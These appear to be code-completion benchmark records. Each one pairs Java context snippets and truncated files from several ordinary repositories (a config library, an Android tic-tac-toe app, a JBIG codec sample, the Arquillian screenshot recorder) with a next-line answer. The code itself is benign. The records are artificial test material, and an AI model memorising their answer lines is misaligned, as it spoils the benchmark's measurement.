this.getChildren().values().iterator();\n while (sourceChildren.hasNext()) {\n targetChildren.next().init(sourceChildren.next());\n }\n }\n\n /**\n * Note that this implementation calls {@link #isInDefaultState(Stack)} of all children.\n *\n * @param stack the ancestor hierarchy of this {@link Node}\n * @return {@inheritDoc}\n */\n @Override\n public boolean isInDefaultState(Stack<Node> configurationStack) {\n for (Node child : children.values()) {\n configurationStack.push(child);\n final boolean result = child.isInDefaultState(configurationStack);\n configurationStack.pop();\n if (!result) {\n return false;\n }\n }\n return true;\n }\n\n /** {@inheritDoc} */\n @Override\n public boolean shouldEscapeName() {\n return shouldEscapeName;\n }\n\n @Override\n public String toString() {\n StringBuilder sb = new StringBuilder() //\n .append(name).append(\": {\\n\");\n for (Node child : getChildren().values()) {\n sb.append(child.toString()).append('\\n');\n }\n return sb.toString();\n }\n\n}", "public class DefaultScalarNode<T> implements ScalarNode<T> {\n public static <V> ScalarNode<V> of(V value) {\n @SuppressWarnings(\"unchecked\")\n DefaultScalarNode<V> result = new DefaultScalarNode<>((String) null, (Class<V>) value.getClass());\n result.setValue(value);\n return result;\n }\n\n private final List<String> commentBefore = new ArrayList<>();\n private T defaultValue;\n private final String name;\n private final Class<T> type;\n private T value;\n private final Equals<T> equals;\n\n public DefaultScalarNode(String name, Class<T> type) {\n this(name, null, type);\n }\n\n @SuppressWarnings(\"unchecked\")\n public DefaultScalarNode(String name, T defaultValue) {\n this(name, defaultValue, (Class<T>) defaultValue.getClass());\n }\n\n public DefaultScalarNode(String name, T defaultValue, Class<T> type) {\n this(name, defaultValue, type, Equals.EqualsImplementations.<T>equals());\n }\n\n public DefaultScalarNode(String name, T defaultValue, Class<T> type, Equals<T> equals) {\n super();\n this.name = name;\n this.defaultValue = defaultValue;\n this.type = type;\n this.equals = equals;\n }\n\n /** {@inheritDoc} */\n @Override\n public void applyDefaultsAndInheritance(Stack<Node> configurationStack) {\n if (value == null) {\n value = defaultValue;\n }\n }\n\n @Override\n public List<String> getCommentBefore() {\n return commentBefore;\n }\n\n /** {@inheritDoc} */\n @Override\n public T getDefaultValue() {\n return defaultValue;\n }\n\n /** {@inheritDoc} */\n @Override\n public String getName() {\n return name;\n }\n\n /** {@inheritDoc} */\n @Override\n public Class<T> getType() {\n return type;\n }\n\n /** {@inheritDoc} */\n @Override\n public T getValue() {\n return value;\n }\n\n public void inheritFrom(ScalarNode<T> inheritFrom, Stack<Node> configurationStack) {\n if (this.value == null) {\n inheritFrom.applyDefaultsAndInheritance(configurationStack);\n this.value = inheritFrom.getValue();\n }\n }\n\n /** {@inheritDoc} */\n @Override\n public void init(Node source) {\n if (getClass() != source.getClass()) {\n throw new IllegalArgumentException(\n String.format(\"Cannot init [%s] from [%s]\", this.getClass(), source.getClass()));\n }\n @SuppressWarnings(\"unchecked\")\n ScalarNode<T> sourceScalar = (DefaultScalarNode<T>) source;\n this.value = sourceScalar.getValue();\n }\n\n public boolean isInDefaultState(ScalarNode<T> inheritFrom, Stack<Node> configurationStack) {\n if (value == null) {\n return true;\n } else {\n T inheritedValue = inheritFrom.getValue();\n if (inheritedValue != null && equals.test(inheritedValue, this.value)) {\n return true;\n } else if (inheritedValue == null) {\n T inheritedDefault = inheritFrom.getDefaultValue();\n return inheritedDefault == this.value\n || (inheritedDefault != null && equals.test(inheritedDefault, this.value));\n }\n }\n return false;\n }\n\n /** {@inheritDoc} */\n @Override\n public boolean isInDefaultState(Stack<Node> configurationStack) {\n return value == null || equals.test(value, defaultValue);\n }\n\n /** {@inheritDoc} */\n @Override\n public void setValue(T value) {\n this.value = value;\n }\n\n /** {@inheritDoc} */\n @Override\n public boolean shouldEscapeName() {\n return false;\n }\n\n @Override\n public String toString() {\n return new StringBuilder() //\n .append(name) //\n .append(\": \") //\n .append(getValue()) //\n .append('\\n') //\n .toString();\n }\n\n}" ]
import java.util.Map; import org.srcdeps.core.config.scalar.CharStreamSource; import org.srcdeps.core.config.tree.Node; import org.srcdeps.core.config.tree.ScalarNode; import org.srcdeps.core.config.tree.impl.DefaultContainerNode; import org.srcdeps.core.config.tree.impl.DefaultScalarNode;
/** * Copyright 2015-2017 Maven Source Dependencies * Plugin contributors as indicated by the @author tags. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.srcdeps.core.config; /** * Gradle specific settings for a {@link ScmRepository} under which this hangs. * * @author <a href="https://github.com/ppalaga">Peter Palaga</a> */ public class ScmRepositoryGradle { public static class Builder extends DefaultContainerNode<Node> {
final ScalarNode<CharStreamSource> modelTransformer = new DefaultScalarNode<>("modelTransformer",
4
Earthblood/Toe
app/src/main/java/com/earthblood/tictactoe/activity/MainActivity.java
[ "public class ToeGame {\n\n private PreferenceHelper preferenceHelper;\n\n @Inject\n public ToeGame(PreferenceHelper preferenceHelper){\n this.preferenceHelper = preferenceHelper;\n }\n\n public String titleHack(String appName, String statusMessage){\n return \"<font color=#CD5C5C><b>\" + appName + \"</b></font><font color=#F5F5F5>&nbsp;&nbsp;&nbsp;\" + statusMessage +\"</font>\";\n }\n\n public void setSkill(Skill skill){\n preferenceHelper.putPreference(skill.getId(), GamePreference.PREF_SKILL_ID.getKey(), Context.MODE_PRIVATE);\n }\n public void setNumOfPlayers(int numOfPlayers){\n preferenceHelper.putPreference(numOfPlayers, GamePreference.PREF_NUMBER_OF_PLAYERS.getKey(), Context.MODE_PRIVATE);\n }\n public Skill getSkill(){\n return Skill.byId(preferenceHelper.getPreference(GamePreference.PREF_SKILL_ID.getKey(), Skill.EASY.getId()));\n }\n public int getNumOfPlayers(){\n return preferenceHelper.getPreference(GamePreference.PREF_NUMBER_OF_PLAYERS.getKey(), 1);\n }\n public void setTurn(GameSymbol gameSymbol) {\n preferenceHelper.putPreference(gameSymbol.getId(), GamePreference.PREF_TURN.getKey(), Context.MODE_PRIVATE);\n }\n public GameSymbol getTurn(){\n return GameSymbol.byId(preferenceHelper.getPreference(GamePreference.PREF_TURN.getKey(), GameSymbol.X.getId()));\n }\n public boolean inProgress(){\n return preferenceHelper.getPreference(GamePreference.PREF_GAME_PROGRESS.getKey(), GameStatus.GAME_OVER.getStatus()) == GameStatus.GAME_IN_PROGRESS.getStatus();\n }\n public void setGameOver(){\n preferenceHelper.putPreference(GameStatus.GAME_OVER.getStatus(), GamePreference.PREF_GAME_PROGRESS.getKey(), Context.MODE_PRIVATE);\n }\n public void setGameInProgess(){\n preferenceHelper.putPreference(GameStatus.GAME_IN_PROGRESS.getStatus(), GamePreference.PREF_GAME_PROGRESS.getKey(), Context.MODE_PRIVATE);\n }\n public void advanceTurn(GameSymbol gameSymbol) {\n preferenceHelper.putPreference(gameSymbol == GameSymbol.X ? GameSymbol.O.getId() : GameSymbol.X.getId() , GamePreference.PREF_TURN.getKey(), Context.MODE_PRIVATE);\n }\n\n public void chooseBox(ContentResolver contentResolver, ToeStrategy strategy) {\n\n ContentValues values = new ContentValues();\n values.put(GameDatabaseHelper.COLUMN_GAME_BOX_ID, strategy.getBoxId());\n values.put(GameDatabaseHelper.COLUMN_GAME_SYMBOL_ID,strategy.getSymbol().getId());\n contentResolver.insert(GameContentProvider.CONTENT_URI, values);\n advanceTurn(strategy.getSymbol());\n }\n\n public void reset(ContentResolver contentResolver) {\n setGameOver();\n contentResolver.delete(GameContentProvider.CONTENT_URI, null, null);\n }\n\n public boolean isOnePlayerGame() {\n return getNumOfPlayers() == 1;\n }\n\n public boolean symbolIsAndroid(GameSymbol symbol){\n return isOnePlayerGame() && symbol == GameSymbol.O;\n }\n\n public boolean isAndroidTurn() {\n return isOnePlayerGame() && symbolIsAndroid(getTurn());\n }\n\n public void generateAndroidTurn(ContentResolver contentResolver, int[] selectedXBoxIds, int[] selectedOBoxIds) {\n ToeStrategy strategy = getSkill().strategy(selectedXBoxIds, selectedOBoxIds, GameSymbol.O);\n chooseBox(contentResolver, strategy);\n }\n}", "public class CoinTossHelper {\n\n private Random random;\n\n public CoinTossHelper() {\n this.random = new Random();\n }\n\n public int getRandom(int min, int max){\n return random.nextInt(max - min + 1) + min;\n }\n\n public GameSymbol coinToss(){\n int random = getRandom(0, 10);\n return random < 5 ? GameSymbol.X : GameSymbol.O;\n }\n\n}", "public class HapticFeedbackHelper {\n\n public static final long[] VIBE_PATTERN_SHORT = {0, 50, 1000 };\n public static final long[] VIBE_PATTERN_WIN = new long[]{0,200,50,200,50,200};\n public static final long[] VIBE_PATTERN_ANDROID_WIN = new long[]{0,100,50,100,50,100};\n public static final int VIBE_PATTERN_NO_REPEAT = -1;\n\n private static boolean vibeFlag = true;\n\n @Inject Vibrator vibrator;\n\n public void vibrate(long[] pattern, int repeat){\n vibrator.vibrate(pattern, repeat);\n }\n public long[] getWinningPattern(boolean androidWon){\n return androidWon ? VIBE_PATTERN_ANDROID_WIN : VIBE_PATTERN_WIN;\n }\n public void addFeedbackToButtonList(List<Button> buttons){\n for (Button button : buttons) {\n button.setOnTouchListener(new View.OnTouchListener() {\n @Override\n public boolean onTouch(View v, MotionEvent event) {\n if(event.getAction() == MotionEvent.ACTION_DOWN) {\n if(vibeFlag) vibrator.vibrate(VIBE_PATTERN_SHORT, VIBE_PATTERN_NO_REPEAT);\n vibeFlag = false;\n }\n else if (event.getAction() == MotionEvent.ACTION_UP) {\n vibeFlag = true;\n }\n return false;\n }\n });\n }\n }\n public void addFeedbackToButton(Button button, final long[] pattern, final int repeat){\n button.setOnTouchListener(new View.OnTouchListener() {\n @Override\n public boolean onTouch(View v, MotionEvent event) {\n if(event.getAction() == MotionEvent.ACTION_DOWN) {\n if(vibeFlag) vibrator.vibrate(pattern, repeat);\n vibeFlag = false;\n }\n else if (event.getAction() == MotionEvent.ACTION_UP) {\n vibeFlag = true;\n }\n return false;\n }\n });\n }\n}", "public class HtmlHelper {\n\n public Spanned fromHtml(String s){\n return Html.fromHtml(s);\n }\n}", "public enum GameSymbol {\n X(1,\"X\"),\n O(2,\"O\");\n\n private int id;\n private String value;\n\n private GameSymbol(int id, String value){\n this.id = id;\n this.value = value;\n }\n\n public int getId() {\n return id;\n }\n\n public String getValue() {\n return value;\n }\n\n public static GameSymbol byId(int id) {\n for (GameSymbol gameSymbol : values()) {\n if(gameSymbol.getId() == id){\n return gameSymbol;\n }\n }\n return null;\n }\n}", "public enum Skill {\n\n EASY (1,R.string.skill_easy),\n NORMAL (2,R.string.skill_normal),\n HARD (3,R.string.skill_hard),\n VERYHARD (4,R.string.skill_very_hard);\n\n\n private int id;\n private int resourceId;\n\n private Skill(int id, int resourceId){\n this.id = id;\n this.resourceId = resourceId;\n }\n\n public int getId(){\n return id;\n }\n\n @Override\n public String toString() {\n return Toe.getResourceString(resourceId);\n }\n\n public static Skill byId(int id){\n for (Skill skill : Skill.values()) {\n if(id == skill.id){\n return skill;\n }\n }\n return null;\n }\n\n public ToeStrategy strategy(int[] selectedXBoxIds, int [] selectedOBoxIds, GameSymbol androidSymbol){\n switch (this){\n case EASY:\n return new ToeStrategyEasy(selectedXBoxIds, selectedOBoxIds, androidSymbol);\n case NORMAL:\n return new ToeStrategyNormal(selectedXBoxIds, selectedOBoxIds, androidSymbol);\n case HARD:\n return new ToeStrategyHard(selectedXBoxIds, selectedOBoxIds, androidSymbol);\n case VERYHARD:\n return new ToeStrategyVeryHard(selectedXBoxIds, selectedOBoxIds, androidSymbol);\n }\n return null;\n }\n}" ]
import android.content.Intent; import android.os.Bundle; import android.view.Gravity; import android.view.View; import android.widget.AdapterView; import android.widget.ArrayAdapter; import android.widget.Button; import android.widget.RadioButton; import android.widget.Spinner; import android.widget.TextView; import com.earthblood.tictactoe.R; import com.earthblood.tictactoe.engine.ToeGame; import com.earthblood.tictactoe.helper.CoinTossHelper; import com.earthblood.tictactoe.helper.HapticFeedbackHelper; import com.earthblood.tictactoe.helper.HtmlHelper; import com.earthblood.tictactoe.util.GameSymbol; import com.earthblood.tictactoe.util.Skill; import com.google.inject.Inject; import java.util.Arrays; import roboguice.activity.RoboActivity; import roboguice.inject.ContentView; import roboguice.inject.InjectView;
/** * @author John Piser developer@earthblood.com * * Copyright (C) 2014 EARTHBLOOD, LLC * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ package com.earthblood.tictactoe.activity; @ContentView(R.layout.activity_main) public class MainActivity extends RoboActivity { @InjectView(R.id.skill_spinner) Spinner skillSpinner; @InjectView(R.id.gameplay_one_player) RadioButton onePlayerButton; @InjectView(R.id.gameplay_two_player) RadioButton twoPlayerButton; @InjectView(R.id.message_you_will_be) TextView messageYouWillBe; @InjectView(R.id.turn_display) TextView turnDisplay; @InjectView(R.id.button_new_game) Button buttonNewGame; @InjectView(R.id.coin_toss_button) Button coinTossButton; @Inject ToeGame toeGame; @Inject CoinTossHelper coinTossHelper; @Inject HapticFeedbackHelper hapticFeedbackHelper; @Inject HtmlHelper htmlHelper; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setTitle(htmlHelper.fromHtml(toeGame.titleHack(getString(R.string.app_name_short), getString(R.string.tic_tac_toe)))); hapticFeedbackHelper.addFeedbackToButtonList(Arrays.asList(buttonNewGame, coinTossButton, onePlayerButton, twoPlayerButton)); setupSkill(); } @Override protected void onResume(){ super.onResume(); toeGame.reset(getContentResolver()); initializeSkill(); initializeNumberOfPlayers(); setWhoGoesFirst(toeGame.getTurn()); } private void setWhoGoesFirst(GameSymbol turn) { toeGame.setTurn(turn); turnDisplay.setText(getString(R.string.who_goes_first, turn.getValue())); } private void setPlayers(boolean onePlayerGame){ if(onePlayerGame){ skillSpinner.setVisibility(View.VISIBLE); messageYouWillBe.setVisibility(View.VISIBLE); onePlayerButton.setChecked(true); toeGame.setNumOfPlayers(1); } else{ skillSpinner.setVisibility(View.INVISIBLE); messageYouWillBe.setVisibility(View.INVISIBLE); twoPlayerButton.setChecked(true); toeGame.setNumOfPlayers(2); } } private void setupSkill() {
skillSpinner.setAdapter(new ArrayAdapter<Skill>(this, R.layout.skill_spinner_layout, Skill.values()));
5
suzp1984/jbig-android
mvc-sample/src/main/java/io/github/suzp1984/jbigandroid/JbigApplication.java
[ "public class JniJbigCodec implements JbigCodec {\n\n @Override\n public byte[] encode(Bitmap[] bitmaps) {\n if (bitmaps != null && bitmaps.length != 0) {\n return encodeNative(bitmaps);\n }\n\n return null;\n }\n\n @Override\n public Bitmap[] decode(byte[] data) {\n if (data != null && data.length != 0) {\n return decodeNative(data);\n }\n\n return null;\n }\n\n static {\n System.loadLibrary(\"jbigkit\");\n }\n\n public native byte[] encodeNative(Bitmap[] bitmaps);\n public native Bitmap[] decodeNative(byte[] data);\n}", "@Singleton\n@Component(modules = {ApplicationModule.class,\n UtilsModule.class,\n StateModule.class,\n PersistenceModule.class})\npublic interface ApplicationComponent {\n void inject(BaseDrawerActivity activity);\n void inject(DecoderFragment fragment);\n void inject(PaintViewFragment fragment);\n void inject(JbigContentProvider provider);\n\n MainController getMainController();\n}", "@Module\npublic class ApplicationModule {\n private Application mApplication;\n\n public ApplicationModule(Application application) {\n mApplication = Preconditions.checkNotNull(application, \"application cannot be null\");\n }\n\n @Provides\n public Application provideApplication() {\n return mApplication;\n }\n\n @Provides\n @ApplicationContext\n public Context provideContext() {\n return mApplication;\n }\n}", "@Module\npublic class PersistenceModule {\n @Provides\n @Singleton\n public DataBaseHelper providerDatabaseHelper(RealmDbOpenHelper dbOpenHelper) {\n return dbOpenHelper;\n }\n}", "@Module\npublic class StateModule {\n @Provides\n @Singleton\n public ApplicationState provideApplicationState(Bus bus, DataBaseHelper helper) {\n return new ApplicationState(bus, helper);\n }\n\n @Provides @Singleton\n public JbigDbState provideJbigDbState(ApplicationState state) {\n return state;\n }\n}", "@Module\npublic class UtilsModule {\n public UtilsModule(Context context) {\n Preconditions.checkNotNull(context, \"context cannot be null\");\n }\n\n @Provides\n @Singleton\n public Bus provideEventBus() {\n return new Bus();\n }\n\n @Provides\n public Realm provideRealmDb() {\n return Realm.getDefaultInstance();\n }\n}" ]
import android.app.Application; import android.content.Context; import android.os.StrictMode; import io.github.suzp1984.jbig.JniJbigCodec; import io.github.suzp1984.jbigandroid.injector.component.ApplicationComponent; import io.github.suzp1984.jbigandroid.injector.component.DaggerApplicationComponent; import io.github.suzp1984.jbigandroid.injector.module.ApplicationModule; import io.github.suzp1984.jbigandroid.injector.module.PersistenceModule; import io.github.suzp1984.jbigandroid.injector.module.StateModule; import io.github.suzp1984.jbigandroid.injector.module.UtilsModule; import io.realm.Realm; import io.realm.RealmConfiguration;
package io.github.suzp1984.jbigandroid; /** * Created by moses on 8/28/15. */ public class JbigApplication extends Application { private ApplicationComponent mApplicationComponent; public static JbigApplication from(Context context) { return (JbigApplication) context.getApplicationContext(); } @Override public void onCreate() { new JniJbigCodec(); Realm.init(this); RealmConfiguration config = new RealmConfiguration.Builder() .deleteRealmIfMigrationNeeded() .build(); Realm.setDefaultConfiguration(config); if (BuildConfig.DEBUG) { StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder() .detectAll() .penaltyLog() .penaltyDialog() .build()); StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder() .detectAll() .penaltyLog() .build()); } super.onCreate(); } public ApplicationComponent getApplicationComponent() { if (mApplicationComponent == null) { mApplicationComponent = DaggerApplicationComponent.builder() .applicationModule(new ApplicationModule(this))
.persistenceModule(new PersistenceModule())
3
arquillian/arquillian-recorder
arquillian-recorder-screenshooter-base/arquillian-recorder-screenshooter-impl-base/src/test/java/org/arquillian/extension/recorder/screenshooter/ScreenshooterLifecycleObserverTestCase.java
[ "public class RecorderStrategyRegister {\n\n private final Set<RecorderStrategy<?>> recorderStrategies = new TreeSet<RecorderStrategy<?>>(new RecorderStrategyComparator());\n\n public void add(RecorderStrategy<?> recorderStrategy) {\n this.recorderStrategies.add(recorderStrategy);\n }\n\n public void addAll(Set<RecorderStrategy<?>> recorderStrategies) {\n this.recorderStrategies.addAll(recorderStrategies);\n }\n\n public void clear() {\n recorderStrategies.clear();\n }\n\n public int size() {\n return recorderStrategies.size();\n }\n\n public RecorderStrategy<?> get(int precedence) {\n for (final RecorderStrategy<?> strategy : recorderStrategies) {\n if (strategy.precedence() == precedence) {\n return strategy;\n }\n }\n\n return null;\n }\n\n public Set<RecorderStrategy<?>> getAll() {\n return Collections.unmodifiableSet(recorderStrategies);\n }\n}", "public class AfterScreenshotTaken {\n\n private ScreenshotMetaData metaData;\n\n public AfterScreenshotTaken(ScreenshotMetaData metaData) {\n Validate.notNull(metaData, \"Meta data is a null object\");\n\n this.metaData = metaData;\n }\n\n public ScreenshotMetaData getMetaData() {\n return metaData;\n }\n\n public void setMetaData(ScreenshotMetaData metaData) {\n Validate.notNull(metaData, \"Meta data is a null object.\");\n this.metaData = metaData;\n }\n\n}", "public class BeforeScreenshotTaken {\n\n private ScreenshotMetaData metaData;\n\n public BeforeScreenshotTaken(ScreenshotMetaData metaData) {\n Validate.notNull(metaData, \"Meta data is a null object!\");\n\n this.metaData = metaData;\n }\n\n public ScreenshotMetaData getMetaData() {\n return metaData;\n }\n\n public void setMetaData(ScreenshotMetaData metaData) {\n Validate.notNull(metaData, \"Meta data is a null object!\");\n this.metaData = metaData;\n }\n\n}", "public class TakeScreenshot {\n\n private When when;\n\n private Screenshot screenshot;\n\n private ScreenshotMetaData metaData;\n\n private String fileName;\n\n private final org.arquillian.extension.recorder.screenshooter.api.Screenshot annotation;\n\n public TakeScreenshot(String fileName, ScreenshotMetaData metaData, When when, org.arquillian.extension.recorder.screenshooter.api.Screenshot annotation) {\n Validate.notNull(fileName, \"File name is a null object!\");\n Validate.notNull(metaData, \"Meta data is a null object!\");\n Validate.notNull(when, \"When is a null object!\");\n this.metaData = metaData;\n this.when = when;\n this.fileName = fileName;\n this.annotation = annotation;\n }\n\n public Screenshot getScreenshot() {\n return screenshot;\n }\n\n public void setScreenshot(Screenshot screenshot) {\n this.screenshot = screenshot;\n }\n\n public ScreenshotMetaData getMetaData() {\n return metaData;\n }\n\n public void setMetaData(ScreenshotMetaData metaData) {\n Validate.notNull(metaData, \"Meta data is a null object!\");\n this.metaData = metaData;\n }\n\n public When getWhen() {\n return when;\n }\n\n public void setWhen(When when) {\n this.when = when;\n }\n\n public String getFileName() {\n return fileName;\n }\n\n public org.arquillian.extension.recorder.screenshooter.api.Screenshot getAnnotation() {\n return annotation;\n }\n\n public void setFileName(String fileName) {\n Validate.notNull(fileName, \"File name is a null object!\");\n this.fileName = fileName;\n }\n}", "public class DefaultAnnotationScreenshootingStrategy implements AnnotationScreenshootingStrategy {\n\n private ScreenshooterConfiguration configuration;\n\n @Override\n public void setConfiguration(ScreenshooterConfiguration configuration) {\n Validate.notNull(configuration, \"Screenshooter configuration is a null object!\");\n this.configuration = configuration;\n }\n\n @Override\n public boolean isTakingAction(Event event, TestResult result) {\n if (event instanceof AfterTestLifecycleEvent && !(event instanceof After)) {\n Screenshot screenshotAnnotation = ScreenshotAnnotationScanner.getScreenshotAnnotation(((AfterTestLifecycleEvent) event).getTestMethod());\n\n if (screenshotAnnotation != null) {\n if (screenshotAnnotation.takeAfterTest()) {\n return true;\n }\n if (result.getStatus() == Status.FAILED && screenshotAnnotation.takeWhenTestFailed()) {\n return true;\n }\n }\n }\n\n return false;\n }\n\n @Override\n public boolean isTakingAction(Event event) {\n\n if (event instanceof Before) {\n Screenshot screenshotAnnotation = ScreenshotAnnotationScanner.getScreenshotAnnotation(((Before) event).getTestMethod());\n\n if (screenshotAnnotation != null) {\n return screenshotAnnotation.takeBeforeTest();\n }\n }\n\n return false;\n }\n\n @Override\n public int precedence() {\n return 1;\n }\n\n}", "public class DefaultScreenshootingStrategy implements ScreenshootingStrategy {\n\n private ScreenshooterConfiguration configuration;\n\n @Override\n public void setConfiguration(ScreenshooterConfiguration configuration) {\n Validate.notNull(configuration, \"Screenshooter configuration is a null object!\");\n this.configuration = configuration;\n }\n\n @Override\n public boolean isTakingAction(Event event, TestResult result) {\n if (event instanceof AfterTestLifecycleEvent && !(event instanceof After)) {\n if (configuration.getTakeAfterTest()) {\n return true;\n }\n if (result.getStatus() == Status.FAILED && configuration.getTakeWhenTestFailed()) {\n return true;\n }\n }\n return false;\n }\n\n @Override\n public boolean isTakingAction(Event event) {\n return event instanceof Before && configuration.getTakeBeforeTest();\n }\n\n @Override\n public int precedence() {\n return 0;\n }\n}", "public class ScreenshooterLifecycleObserver {\n\n @Inject\n private Instance<RecorderStrategyRegister> recorderStrategyRegister;\n\n @Inject\n private Instance<ScreenshooterConfiguration> configuration;\n\n @Inject\n private Event<BeforeScreenshotTaken> beforeScreenshotTaken;\n\n @Inject\n private Event<TakeScreenshot> takeScreenshot;\n\n @Inject\n private Event<AfterScreenshotTaken> afterScreenshotTaken;\n\n @Inject\n private Instance<Screenshooter> screenshooter;\n\n public void beforeTest(@Observes(precedence = -50) Before event) {\n\n if (new TakingScreenshotDecider(recorderStrategyRegister.get()).decide(event, null)) {\n ScreenshotMetaData metaData = getMetaData(event);\n metaData.setResourceType(getScreenshotType());\n\n DefaultFileNameBuilder nameBuilder = new DefaultFileNameBuilder();\n String screenshotName = nameBuilder\n .withMetaData(metaData)\n .withStage(When.BEFORE)\n .build();\n\n beforeScreenshotTaken.fire(new BeforeScreenshotTaken(metaData));\n\n TakeScreenshot takeScreenshooter = new TakeScreenshot(screenshotName, metaData, When.BEFORE, event.getTestMethod().getAnnotation(Screenshot.class));\n takeScreenshot.fire(takeScreenshooter);\n\n metaData.setBlurLevel(resolveBlurLevel(event));\n org.arquillian.extension.recorder.screenshooter.Screenshot screenshot = takeScreenshooter.getScreenshot();\n if(screenshot != null) {\n metaData.setFilename(screenshot.getResource());\n }\n\n afterScreenshotTaken.fire(new AfterScreenshotTaken(metaData));\n }\n }\n\n public void afterTest(@Observes(precedence = 50) AfterTestLifecycleEvent event, TestResult result) {\n if (new TakingScreenshotDecider(recorderStrategyRegister.get()).decide(event, result)) {\n ScreenshotMetaData metaData = getMetaData(event);\n metaData.setTestResult(result);\n metaData.setResourceType(getScreenshotType());\n\n When when = result.getStatus() == TestResult.Status.FAILED ? When.FAILED : When.AFTER;\n\n DefaultFileNameBuilder nameBuilder = new DefaultFileNameBuilder();\n String screenshotName = nameBuilder\n .withMetaData(metaData)\n .withStage(when)\n .build();\n\n beforeScreenshotTaken.fire(new BeforeScreenshotTaken(metaData));\n\n TakeScreenshot takeScreenshooter = new TakeScreenshot(screenshotName, metaData, when, null);\n takeScreenshot.fire(takeScreenshooter);\n\n metaData.setBlurLevel(resolveBlurLevel(event));\n org.arquillian.extension.recorder.screenshooter.Screenshot screenshot = takeScreenshooter.getScreenshot();\n if(screenshot != null) {\n metaData.setFilename(screenshot.getResource());\n }\n\n afterScreenshotTaken.fire(new AfterScreenshotTaken(metaData));\n }\n }\n\n private BlurLevel resolveBlurLevel(TestEvent event) {\n if (event.getTestMethod().getAnnotation(Blur.class) != null) {\n return event.getTestMethod().getAnnotation(Blur.class).value();\n } else {\n Class<? extends TestClass> testClass = event.getTestClass().getClass();\n Class<?> annotatedClass = ReflectionUtil.getClassWithAnnotation(testClass, Blur.class);\n\n BlurLevel blurLevel = null;\n if (annotatedClass != null) {\n blurLevel = annotatedClass .getAnnotation(Blur.class).value();\n }\n\n return blurLevel;\n }\n }\n\n private ScreenshotMetaData getMetaData(TestLifecycleEvent event) {\n ScreenshotMetaData metaData = new ScreenshotMetaData();\n\n metaData.setTestClass(event.getTestClass());\n metaData.setTestMethod(event.getTestMethod());\n metaData.setTimeStamp(System.currentTimeMillis());\n\n return metaData;\n }\n\n private ScreenshotType getScreenshotType() {\n return screenshooter.get().getScreenshotType();\n }\n\n private static class TakingScreenshotDecider {\n\n private final RecorderStrategyRegister recorderStrategyRegister;\n\n TakingScreenshotDecider(RecorderStrategyRegister recorderStrategyRegister) {\n this.recorderStrategyRegister = recorderStrategyRegister;\n }\n\n public boolean decide(org.jboss.arquillian.core.spi.event.Event event, TestResult testResult) {\n\n boolean taking = false;\n\n for (final RecorderStrategy<?> recorderStrategy : recorderStrategyRegister.getAll()) {\n if (recorderStrategy instanceof AnnotationScreenshootingStrategy && !hasScreenshotAnnotation(event)) {\n continue;\n }\n if (testResult == null) {\n taking = recorderStrategy.isTakingAction(event);\n } else {\n taking = recorderStrategy.isTakingAction(event, testResult);\n }\n }\n\n return taking;\n }\n\n private boolean hasScreenshotAnnotation(org.jboss.arquillian.core.spi.event.Event event) {\n if (event instanceof Before) {\n return ScreenshotAnnotationScanner.getScreenshotAnnotation(((Before) event).getTestMethod()) != null;\n } else if (event instanceof AfterTestLifecycleEvent) {\n return ScreenshotAnnotationScanner\n .getScreenshotAnnotation(((AfterTestLifecycleEvent) event).getTestMethod()) != null;\n }\n return false;\n }\n }\n\n}", "public class ReporterConfiguration extends Configuration<ReporterConfiguration> {\n\n private static final Logger LOGGER = Logger.getLogger(ReporterConfiguration.class.getName());\n\n public static final String DEFAULT_TYPE = \"xml\";\n\n public static final String DEFAULT_LANGUAGE = \"en\";\n\n public static final String DEFAULT_MAX_IMAGE_WIDTH = \"500\";\n\n public static final String DEFAULT_ASCIIDOC_STANDARD_COMPLIANT = \"false\";\n\n // in percents\n\n public static final String DEFAULT_IMAGE_WIDTH = \"100\";\n\n public static final String DEFAULT_IMAGE_HEIGHT = \"100\";\n\n public static final String DEFAULT_TITLE = \"Arquillian test run report\";\n\n private String report = DEFAULT_TYPE;\n\n private String file = getFileDefaultFileName();\n\n private static final String ROOT_DIR = \"target\";\n\n private static final String TEMPLATE = \"template.xsl\";\n\n private final String reportAfterEvery = ReportFrequency.CLASS.toString();\n\n private static final String LANGUAGE = \"en\";\n\n private static final String MAX_IMAGE_WIDTH = DEFAULT_MAX_IMAGE_WIDTH;\n\n private static final String IMAGE_WIDTH = DEFAULT_IMAGE_WIDTH;\n\n private static final String IMAGE_HEIGHT = DEFAULT_IMAGE_HEIGHT;\n\n private static final String TITLE = DEFAULT_TITLE;\n\n private static final String ASCIIDOC_STANDARD_COMPLIANT = DEFAULT_ASCIIDOC_STANDARD_COMPLIANT;\n\n private static final String ASCII_DOC_ATTRIBUTES_FILE = \"\";\n\n public String getAsciiDocAttributesFile() {\n return getProperty(\"asciiDocAttributesFile\", ASCII_DOC_ATTRIBUTES_FILE);\n }\n\n /**\n *\n * @return true if we want generated asciidoc document be compliant with standard format. False otherwise and output will be an AsciiDoc document to be rendered by Asciidoctor.\n */\n public boolean isAsciiDocCompliant() {\n return Boolean.parseBoolean(getProperty(\"asciidocStandardCompliant\", ASCIIDOC_STANDARD_COMPLIANT).toLowerCase());\n }\n\n /**\n *\n * @return type of report we want to get, it defaults to \"xml\"\n */\n public String getReport() {\n return getProperty(\"report\", report).toLowerCase();\n }\n\n /**\n *\n * @return file where to export a report\n */\n public File getFile() {\n return new File(getRootDir(), getProperty(\"file\", file));\n }\n\n /**\n *\n * @return root directory which prepends {@link #getFile()}\n */\n public File getRootDir() {\n return new File(getProperty(\"rootDir\", ROOT_DIR));\n }\n\n /**\n * XSL template for transforming XML to HTML when using HTML report type, defaults to \"template.xsl\". When this file is not\n * found, default system XSL template is used.\n *\n * @return xsl template 